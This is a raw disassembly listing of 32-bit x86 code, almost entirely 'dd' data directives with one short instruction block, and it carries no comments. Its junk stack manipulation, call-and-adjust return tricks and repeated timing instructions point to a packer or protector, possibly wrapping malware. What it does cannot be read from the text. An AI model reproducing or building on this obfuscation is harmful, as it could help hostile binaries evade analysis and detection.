		dd 0F380C1CCh, 0B58B5FF9h, 6ABA223h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 8DC35141h, 0B796B140h, 711681A2h
		dd 2B7D858Bh, 0DF8106A8h, 3AFC9241h, 0AE80689h,	92000000h
		dd 0AB3D2A4Dh, 56CA8A47h, 13E993h, 30000000h, 76D30D94h
		dd 0CB102966h, 0F0CDB944h, 0A73728F4h, 8E85BF3h, 5F000000h
		dd 0C3AAAA7Bh, 81133EA3h, 23C16EE7h, 858B5B37h,	6A80BE1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 64C35747h
		dd 89A4E8C1h, 0B5310446h, 6A80589h, 0D88B6696h,	96FE8B50h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h
		dd 7216D044h, 538E009Ch, 0AE951B8h, 84000000h, 3D1C7EFAh
		dd 4FE666BDh, 8E85FCAh,	2B000000h, 0E03B352Fh, 35D7E9Dh
		dd 0A8263DBDh, 0B5FF5B06h, 6ABA21Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0BFC35747h,	8FD489FFh, 0F068461h
		dd 5168F9BFh, 664D0808h, 81CF13BBh, 0BAE2434h, 880F4D17h
		dd 6, 0ADD8589h, 858D06A8h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0D8C35747h,	0E0E4DE88h, 9E9ECh
		dd 0ED470000h, 1345414Ah, 90F6EE80h, 10E850h, 53E50000h
		dd 9C9847D9h, 3031826h,	54B0DEFCh, 0F51CDAAh, 83h, 905F5B00h
		dd 0F7CB8166h, 4195FFD0h, 6606A807h, 61D496BBh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D9C35646h, 816637FEh
		dd 0C7BCA6DFh, 0A80BBD85h, 306h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 3EB7D256h
		dd 5B9AFC5Fh, 11E96B0Bh, 7F000000h, 920A2C9Fh, 2BF8DFFCh
		dd 0C0B794E2h, 44B7788Dh, 0A227BD83h, 0F0006ABh, 1E84h
		dd 0F1BD8B00h, 0E906A824h, 2Eh,	0D8B0Fh, 8E90000h, 6D000000h
		dd 0A7212B4Dh, 50D76D4Dh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 639528C3h, 8D313F53h
		dd 6A80645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	2BC35040h, 899F7C93h, 0A8093D9Dh
		dd 35B5306h, 0A81B45BDh, 0BDBD8306h, 306A80Bh, 3ED850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 5756A5C3h, 0E85B5BF9h, 0Fh, 0C3DEA1AEh, 702A0EF7h
		dd 2CF7A1B9h, 8949C922h, 0A810118Dh, 0BD835B06h, 6ABA227h
		dd 0A4840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 89ECC357h, 8BE37E4Bh
		dd 0A821D59Dh, 27B5FF06h, 6006ABA2h, 34A5BD89h,	0B96606A8h
		dd 0FF61E5D0h, 0A815F995h, 830F6006h, 6, 0A273C181h, 0B58B10BEh
		dd 6A83181h, 1BB58B61h,	0F906ABA2h, 98B0Fh, 66600000h
		dd 9334D381h, 0C7616160h, 1000106h, 5099B700h, 80BF6657h
		dd 34895FF0h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 318531C8h, 0FF06A826h, 0ABA227B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8152ECF5h, 8D74D8CBh, 9995FF6Ch,	6606A821h
		dd 8B874DBFh, 0ABA21BB5h, 0B1BD8B06h, 8B06A807h, 0A80E4185h
		dd 0A1B58906h, 8906A825h, 0C486h, 0F99D8900h, 8B06A82Dh
		dd 0A805B995h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 8806A096h, 0B3DFBD2Ch
		dd 0C283F95Ch, 4020BB04h, 50890FC2h, 0F5BD8920h, 8D06A819h
		dd 0ABB7CE85h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0C25AD506h, 8DE84F9h
		dd 0CF81E445h, 21386902h, 0B88689h, 8B660000h, 13E9DFh
		dd 13220000h, 2C0B5EF7h, 555B6CD6h, 24C7178Ch, 0C833C131h
		dd 6A006A4Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 3875C351h, 2CDF90F4h, 0BD8B0A4Ah
		dd 6A82CE9h, 0A227B5FFh, 95FF06ABh, 6A81E1Dh, 0C3816650h
		dd 505F2A34h, 310F5250h, 5AFA8B66h, 24348958h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2FC35141h, 0AF4E5D58h
		dd 16577D4Fh, 0B52C381h, 0B5FF2B73h, 6ABA227h, 95FFEFB7h
		dd 6A82A69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	97C35545h, 0B9CC1ED7h, 3BAEA485h, 9E863h, 0C6E40000h
		dd 7DD0B112h, 8A43E6E2h, 0BD835FDEh, 6A82E3Dh, 51840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0E9B6C355h, 0A5E073CAh, 8B5057A2h
		dd 243489D9h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0E0C35242h, 0EFC72824h,	8D897BA7h, 6A8297Dh, 0A227B5FFh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0FFF599C3h, 0A8318595h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 139BC6Dh, 0A8156595h, 27B5FF06h, 0F506ABA2h,	0F5595FFh
		dd 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0F96DA7C3h, 81344C1Dh, 0DF02DFD7h, 7DBD8370h
		dd 206A807h, 6D840Fh, 830F0000h, 0Bh, 0FBB70F60h, 10E99D29h
		dd 606106A8h, 8B61FAB2h, 0A80D1985h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0B99E9C70h
		dd 27491B97h, 68D0Fh, 0B5290000h, 6A8097Dh, 6A0000C6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 9A99C357h, 0C7DF8B66h, 0A80DC185h, 6, 6D858900h
		dd 0E906A802h, 0FFFFF29Ah, 0C0D8529h, 0E86006A8h, 0Ch
		dd 1CA08C70h, 0A9B294BFh, 467967B5h, 9119501h, 665F06A8h
		dd 61F151BBh, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0F7E3A3C3h, 3AAEF52Eh, 1AC5BD8Bh
		dd 0EE906A8h, 17000000h, 69D26Ah, 2 dup(0)
		dd 592E900h, 43E60000h,	7E13BC0Ah, 2444EF3Bh, 0D876D96Dh
		dd 85A6099Dh, 0C4F572C8h, 0DA602D4Eh, 1694D979h, 40C68FADh
		dd 0B1F5BCDFh, 95953735h, 6FB60457h, 5CFF0229h,	76178815h
		dd 0E6DF92B3h, 0CB30BAA0h, 91498B3Fh, 0BCDF40E8h, 54F7A8F5h
		dd 6606E91Dh, 0FA9822Fh, 2B6E039Ch, 0F5BE2F86h,	0BFFB0DABh
		dd 85AF585Bh, 82A10EAAh, 0B0D47FCBh, 6202ADF9h,	7758862Bh
		dd 7109DD4h, 216C0E91h,	0CF507DFCh, 59EDA4C8h, 0E81E57F6h
		dd 5C003842h, 69C2AF58h, 9B9A5CCFh, 0E1AF585Ch,	3D29298Ah
		dd 0D812DF53h, 5Ch, 155CFF63h, 7C185288h, 0B9F09361h, 0F6AB2374h
		dd 0D5138543h, 0AF58A8D3h, 0BFE0C339h, 3C7CADF2h, 0E0DCDE47h
		dd 2F12DF04h, 42EFA2C4h, 10DCF69h, 16000000h, 733A59BAh
		dd 90D57A25h, 0B8FD9213h, 4984AA7Bh, 0ED3E632Ah, 57C4AFF4h
		dd 0EFAAC7CEh, 9455F85Bh, 2C4EBFF2h, 15328861h,	0F7135EFFh
		dd 0F2266B0Ch, 0A6E39011h, 941DB679h, 65A1EC8Dh, 4DD29BBAh
		dd 0E6886B91h, 0ED1506ABh, 0AF57D6ADh, 2B4BBC97h, 0CB6D3266h
		dd 0E3841D82h, 95C901AEh, 0D3B8C53Fh, 0D48E647h, 87596A0h
		dd 0CCEC2DE5h, 0C847E845h, 7D11F268h, 0A9C9A9D9h, 0E6DF0140h
		dd 0BA60B9h, 0AF57EC08h, 6CC751FAh, 0C12BB7C3h,	0A25212DFh
		dd 0F5000000h, 0FB9B5EFFh, 0CE531A3Eh, 6EBFE4DDh, 0CF6E5175h
		dd 4D266F0Eh, 8261B7E0h, 49830721h, 0BDFED580h,	76B25C25h
		dd 4CAF58C8h, 0A982C76Bh, 2B8073B0h, 62E2838Ah,	7ACE181h
		dd 0C7ACEC16h, 0BD96AF58h, 0BCDD46C4h, 5FF3ACF1h, 660C951Ah
		dd 325FE23h, 0F229E54Ah, 0DDDD6F31h, 0A7AF58C7h, 0A60D938Ch
		dd 25F1FDFDh, 591412DFh, 2F000000h, 0F7135EFFh,	8AAA670Ch
		dd 544D5EC3h, 9EBE67C4h, 0CC364AD7h, 0D72464A6h, 351EAF57h
		dd 0A0A708E3h, 51143AFFh, 7F3253CCh, 0F600F932h, 0D176EB08h
		dd 33776088h, 3559BA14h, 0DA773870h, 0EBD4129Fh, 8B9C0148h
		dd 0D6DCDB2Dh, 492EAF57h, 0D6FEEAE8h, 11912DFh,	22000000h
		dd 0E06F30BAh, 9B01FCEFh, 0BFF6921Dh, 0DB92B172h, 0EBAEC42Fh
		dd 0B21BDE4Dh, 74EEAF1h, 2F943883h, 3D8071FBh, 0BC0DE2FEh
		dd 57E00E0Ah, 625BF4AFh, 3F9A2C36h, 5B5FFEDh, 791C852Ah
		dd 0ED4F4BFDh, 1A35B5FFh, 791A8521h, 0ED4B4FF9h, 1E39B5FFh
		dd 9AFF825h, 347D2083h,	0ED296FEFh, 0DE7AB5FFh,	0F8990A97h
		dd 535868B5h, 0A60D43D2h, 1E57F6FDh, 9AA26EE8h,	0ACEB0DD0h
		dd 7E1D860Ch, 1A39EA37h, 8C3EB6DBh, 0B600028Ch,	0BFE4DD76h
		dd 0A40944E6h, 7CA19A73h, 888F10BDh, 0BE1EACE5h, 1477FDC2h
		dd 65A5E70Dh, 57B6000Eh, 0D6423514h, 0CA6565C3h, 174AC6Eh
		dd 4DB60000h, 0EC37612Ch, 0D80EB5E7h, 0D71008B2h, 94F2AF57h
		dd 57D73672h, 4A230CAFh, 7FC204EEh, 45B60006h, 918AC362h
		dd 0A1E48A75h, 680B9477h, 0FD7FE521h, 0EB55D025h, 2D6002C7h
		dd 7ABE9780h, 2BDF96B5h, 253F7B8Dh, 2A05B600h, 254E4AFCh
		dd 1B34B600h, 0D6752E9Dh, 0BBCD6B9Fh, 0B600257Fh, 24E32761h
		dd 76A1B600h, 0EE5DDB74h, 1A21822Bh, 6E94327Bh,	24DCDCh
		dd 2B8DA6B6h, 9819F5A1h, 6DFC1477h, 86000000h, 0EA377E1Dh
		dd 0E73C67B1h, 0ADDF0BB6h, 2F57D74Dh, 0C683B013h, 670BAC52h
		dd 0B3ACFD22h, 85BFC517h, 97A108BFh, 3244A201h,	844A320Ch
		dd 0B0F99B98h, 0D7413A73h, 58551911h, 7F209F2Fh, 2D95CF60h
		dd 61262D50h, 9194E154h, 78517EC2h, 342D6407h, 6F147496h
		dd 88EEAF58h, 586F3A7Eh, 362F08AFh, 886FF0h, 288B0000h
		dd 0C6ED4B06h, 3A0D30BAh, 165EFF4Dh, 0D3453E77h, 0AF5BE054h
		dd 0B3FA9E01h, 6DFB3D6Eh, 0B600C192h, 0B8F00A70h, 8AB600C0h
		dd 0FF6BC8A1h, 57F3277Dh, 81179288h, 0F0367F1Eh, 38652C4Fh
		dd 5BF53Eh, 0C96A41B6h,	5CEAA3C2h, 0D4F249EBh, 6F2645AEh
		dd 0D778E9C2h, 0D2C81E9Ah, 0B0BCACDBh, 0EA891A87h, 0AFD907A3h
		dd 0BCACDC6Bh, 0C9BAFE59h, 52F3DC06h, 8122991Fh, 5D893262h
		dd 0E3A6CC37h, 5C79B3B5h, 0E04BC359h, 0B5E77D5Ah, 6CAED80Eh
		dd 56B60457h, 4CEFB0FDh, 785B8105h, 5169BD6h, 20690C93h
		dd 47067B83h, 0F19D2583h, 96B66FB4h, 0B53E52DFh, 5DCE6DECh
		dd 0E7AECDD4h, 145D00A3h, 3D78168Fh, 0DB4471F0h, 0C2F8B1D4h
		dd 0AA0E47E1h, 95DC7F20h, 0DA46E771h, 0C0AC3134h, 80AFB68h
		dd 2D000000h, 84A90AB0h, 0FF4C57C1h, 138C1158h,	2BF43970h
		dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
		dd 0BF60CD84h, 0FA4AD792h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	eax, 0F0B1009h
		push	ebp
		mov	ebp, 70F842A3h
		sub	ebp, 33B409DEh
		not	ebp
		shr	ebp, 3
		xor	ebp, 4991541Eh
		add	eax, ebp
		pop	ebp
		shl	eax, 6
		xor	eax, 32E3C099h
		push	706h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		add	dword ptr [esp], 3FBA342Ah
		pop	dword ptr [edx+8]
		push	ebp
		mov	ebp, 3FBA342Ah
		sub	[edx+8], ebp
		pop	ebp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 3FD7h
		dd 22E4506Bh, 0ADE0EB51h, 0AC84F7B8h, 0FFC50306h, 0C2984AE0h
		dd 0E3A07749h, 0F580BE63h, 1EDD6E4Eh, 7B559627h, 0C9FDC639h
		dd 93A76C16h, 0A4D62B68h, 421CC657h, 79A46F2Eh,	85858D0Fh
		dd 6A06A833h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 4A48C350h, 8B6650DEh, 240489FBh
		dd 9963BF66h, 0FE9006Ah, 82000000h, 6DD22492h, 3D0EE036h
		dd 7F9AE827h, 6A016Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0D5C35141h, 7E2E3EA4h, 87B1858Dh, 0F78106ACh
		dd 20CF566h, 6A05C083h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 90BCC356h, 0D98B6677h
		dd 52506090h, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
		dd 0F525053h, 5B585A31h, 0FE85061h, 8E000000h, 0CE921CC5h
		dd 0D8409E25h, 8FF3D9D7h, 53BF7596h, 5B654F17h,	35BD8B90h
		dd 6A06A82Eh, 0EB816600h, 6AE492h, 1BA1BD89h, 95FF06A8h
		dd 6A82541h, 6E08BF66h,	8C7F8D8Dh, 6A06ABh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0AD14EAC3h
		dd 58619B11h, 0CE9F40Fh, 22000000h, 4D363072h, 8B01D306h
		dd 60C3F75Eh, 66FABF0Fh, 0A1CCF781h, 81D1FF61h,	0E0DDBEC3h
		dd 9DBD834Dh, 106A833h,	8C850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0A7D144C3h
		dd 0F92AD8BDh, 6A026Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0A81467C3h, 0E9A8D780h, 0Bh, 31F21421h
		dd 9A29E047h, 50C95086h, 89DF8B66h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5AE759C3h
		dd 5D8501BCh, 0FF06A830h, 0A81E1D95h, 0C7816606h, 9E99904h
		dd 0E800000Eh, 0
		dd 0BBED815Dh, 6A06AC87h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 510CC353h, 3FF6CCADh
		dd 0AC0D8FB0h, 0E9D88B66h, 9, 755FC10h,	0F471E9BFh, 2E858DBBh
		dd 5606AB7Eh, 5B58CF80h, 5E990h, 0C04D0000h, 506F0043h
		dd 0AE9h, 0CB050100h, 7D6D439Bh, 90EE143Dh, 0BDBD8960h
		dd 0F06A829h, 0B84h, 5E800h, 0E1B40000h, 58015E0Dh, 35FF6461h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B1C35242h
		dd 8B5019FAh, 0A801259Dh, 0D7805F06h, 2589647Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E8C35646h
		dd 0DFF5B9DCh, 8908D8FBh, 0A81F718Dh, 0F185FF06h, 6A06A833h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 4D48C351h, 25AB6B58h, 0FF6A1529h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6DC35545h, 0B5FFFA8Bh
		dd 6A81535h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	6BC35040h, 47E7BC93h, 0B70F7506h, 0F18D89FEh, 0FF06A80Fh
		dd 0A82A7D95h, 0F7E906h, 95290000h, 6A800B1h, 9E900B0h
		dd 0C000000h, 0FE015C1Ah, 95F33FAFh, 0E4FC70E6h, 0B7B7F871h
		dd 830F613Ch, 0D1h, 31918D89h, 0BD8B06A8h, 6A82FB1h, 66C8B60Fh
		dd 6BAF98Bh, 8B000000h,	0A829B19Dh, 89C18B06h, 0A81D85BDh
		dd 4E8C106h, 24E59589h,	0F76606A8h, 89C82BE2h, 0A80E09B5h
		dd 29D18B06h, 0A815DDB5h, 6E906h, 0BD890000h, 6A808E5h
		dd 2F45858Bh, 7E906A8h,	50000000h, 7B8AAEC5h, 0C08362D7h
		dd 14E907h, 0D6E10000h,	8E72E8CFh, 0EE59DA6Dh, 0B77CEBEDh
		dd 0B8D00638h, 0C0832D7Bh, 5858900h, 3B06A81Fh,	13830FD0h
		dd 56000000h, 0FED8531h, 0E95F06A8h, 39h, 16F1BD8Bh, 8D8B06A8h
		dd 6A8259Dh, 1675BD89h,	0E18306A8h, 1E840F01h, 1000000h
		dd 0A82B85B5h, 9DA58306h, 0FE06A825h, 2F459589h, 9D8906A8h
		dd 6A81EBDh, 0E9h, 73B58D00h, 6A06ABF0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 1B16C356h
		dd 6A2BCF80h, 3195FF00h, 6006A81Bh, 63D38166h, 11E96Ch
		dd 4240000h, 74B6D8E9h,	0AF535337h, 8AA5B87Ah, 61845820h
		dd 860B9h, 0CDBD8B00h, 8306A82Fh, 6AFCE1h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 7E969C3h
		dd 0A4000000h, 1CE31A9Dh, 0FFC8F50h, 0B8FBBFh, 0E8000000h
		dd 13h,	79356584h, 310AC5E4h, 8A321DCFh, 8554FF7h, 666FE882h
		dd 2B5FFE8Bh, 0FE8B66D2h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 14B5BD8Bh, 12E806A8h, 0BE000000h, 0B7CBF74h,	0B82C153Ah
		dd 82691097h, 0F4F5AC3Fh, 0CEBB661Fh, 860F5BA6h, 3, 0DDAB70Fh
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
		dd 0E7C35646h, 0CEDEBBE4h, 958B63CEh, 6A805B9h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h, 94679A40h
		dd 4DBD017Ah, 8B06A827h, 698D8BD9h, 0B706A814h,	0C28B501Bh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8958188Bh, 0A805DD95h
		dd 0F8BF0F06h, 0CA18D89h, 0BD8306A8h, 6A80C91h,	68840F00h
		dd 89000000h, 0A826498Dh, 0B806h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3A0AE4C3h
		dd 1765BD8Bh, 8D8D06A8h, 6A84FAFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 6BC35545h, 0A7538BC4h, 0A8277DDFh
		dd 0FE1FFA2h, 68Bh, 0B1858900h,	8306A833h, 0A80BBDBDh
		dd 840F0006h, 414h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0AEC35646h, 204B0B7Bh, 0BD8B0393h, 6A83235h
		dd 0BBDBD83h, 0F0106A8h, 3FA84h, 31958900h, 8B06A809h
		dd 0A832E99Dh, 0BDBD8306h, 306A80Bh, 3AB860Fh, 5FBF0000h
		dd 6060C5A7h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0FAC4C351h,	7E9BEh
		dd 0D28D0000h, 0ED49311Ch, 4E1800Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 7AC35545h, 0AA72EC15h, 85892F3Bh
		dd 6A80E65h, 840FC90Ah,	131h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 48C35646h, 57BE3E34h, 858B1B21h
		dd 6A80BE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	2C35646h, 14E8h, 313E5100h, 103329DBh, 0DBD7CA15h
		dd 22E07A47h, 0D6C10AF5h, 0E7BB666Fh, 85335FBBh, 6A81D5Dh
		dd 50F8B70Fh, 48986B7h,	9E824h,	29710000h, 0E9F991F9h
		dd 0FBEF2FBh, 684h, 0C1953100h,	5B06A831h, 0B501006Ah
		dd 6A81589h, 9668F88Ah,	50FE804Bh, 4DE1BF52h, 310F68B1h
		dd 585ADA8Bh, 69240481h, 0F9019EB8h, 74195FFh, 0BF6606A8h
		dd 0AE99AECh, 0CF000000h, 4CDCADA1h, 55A33045h,	27858904h
		dd 6A06ABA2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0B40BC355h, 0D4ED4122h, 0F1B58903h
		dd 0F06A831h, 0F8Dh, 0AE900h, 0A8F20000h, 0C26B2147h, 0A1DDB2A0h
		dd 1E3E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 3B09EEFDh, 1F858B84h, 6A06ABA2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0BADC351h, 89F97C55h, 0A8258585h,	1800C706h
		dd 8B000000h, 0A81491BDh, 23B58B06h, 6A06ABA2h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4E2AC357h, 8BE5087Eh, 0A82B7D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7E316BAEh
		dd 0EE989h, 3E460000h, 857FC258h, 10B2252Ah, 789A837Ah
		dd 0BFD88B66h, 55A6EEA8h, 6A0689h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 7E90EDC3h, 3BE781DAh
		dd 8B2C116Ah, 0A80BE185h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0FCA4A3B1h
		dd 66044689h, 50C18BBFh, 7E95250h, 0D000000h, 0CE7E1C51h
		dd 310FB639h, 2820Fh, 61600000h, 3489585Ah, 0F1BD2B24h
		dd 8106A824h, 0C9E16DF7h, 1FB5FF5Ch, 0F06ABA2h,	5268DABFh
		dd 8AE5D588h, 240481FCh, 1A497BADh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 88C35545h, 0BE41B53Bh, 0CDC6D70h
		dd 0B9BD8B22h, 8D06A82Fh, 0ABA22785h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 4ACAF671h, 0BD49E1D8h, 0BF0FB29Ah, 0BE850FAh, 7000000h
		dd 63FBA866h, 2DD4F7D9h, 0DE88A9Fh, 34000000h, 0C620F8DEh
		dd 40226D46h, 8597D33Ch, 4895F5Fh, 5BD8B24h, 0FF06A80Fh
		dd 0A8074195h, 0DAB70F06h, 0CD9D2361h, 0C706A816h, 0A80BBD85h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 294B8361h, 0A815418Dh, 27BD8306h
		dd 6ABA2h, 0F840Fh, 81660000h, 0E92D34E3h, 20h,	0FA8B6653h
		dd 0C30505Bh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0D8C35242h, 0EF843825h,	0B716DFBAh, 2F359D8Bh
		dd 9D8B06A8h
		dd 6A80675h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	83C35040h, 0BBDBD83h, 0F0306A8h, 50585h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E83EABCEh, 0Bh, 5E0B4067h, 55E2F277h, 5B60A34Dh, 0A227BD83h
		dd 0F0006ABh, 4C984h, 0DD2BBF00h, 0B5FF7FE9h, 6ABA227h
		dd 0C38166F8h, 95FFE18Dh, 6A815F9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 6C35040h, 24C345F1h, 1BB58B2Dh
		dd 6A06ABA2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 707AC353h, 1FCFCE9h, 0E781049Eh
		dd 2D8A10C7h, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 5149ADC3h, 433527C0h
		dd 348950FCh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 1461FF27h, 0A98589B2h, 0FF06A81Bh
		dd 0ABA227B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0DA8B6604h, 0F598D89h
		dd 95FF06A8h, 6A82199h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0ACC35343h, 7BBEFAC4h, 21F59D0Bh, 9D8B06A8h
		dd 6A82595h, 0A21BB58Bh, 7E906ABh, 86000000h, 0B8D62068h
		dd 858B7811h, 6A80E41h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 6DC35747h, 0E95620E8h, 0BD0B80AAh, 6A83495h
		dd 3C81E781h, 86893D8Ch, 0C4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0BC35646h, 0AD11679Dh, 494ECF8Ch
		dd 459D8BBCh, 8B06A81Bh, 0A805B995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 259589CDh
		dd 8306A801h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8B6095C3h, 0CA8B66D0h, 0F133BB61h
		dd 50895DCFh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 8986050Ah, 0B7CA755Dh, 11E9h, 35B62B00h
		dd 3D16A50Ch, 3F65967Fh, 49A6F1E9h, 858D41C4h, 6ABB7CEh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 44C35343h
		dd 0B88689h, 0BD8B0000h, 6A830B5h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 904350C3h
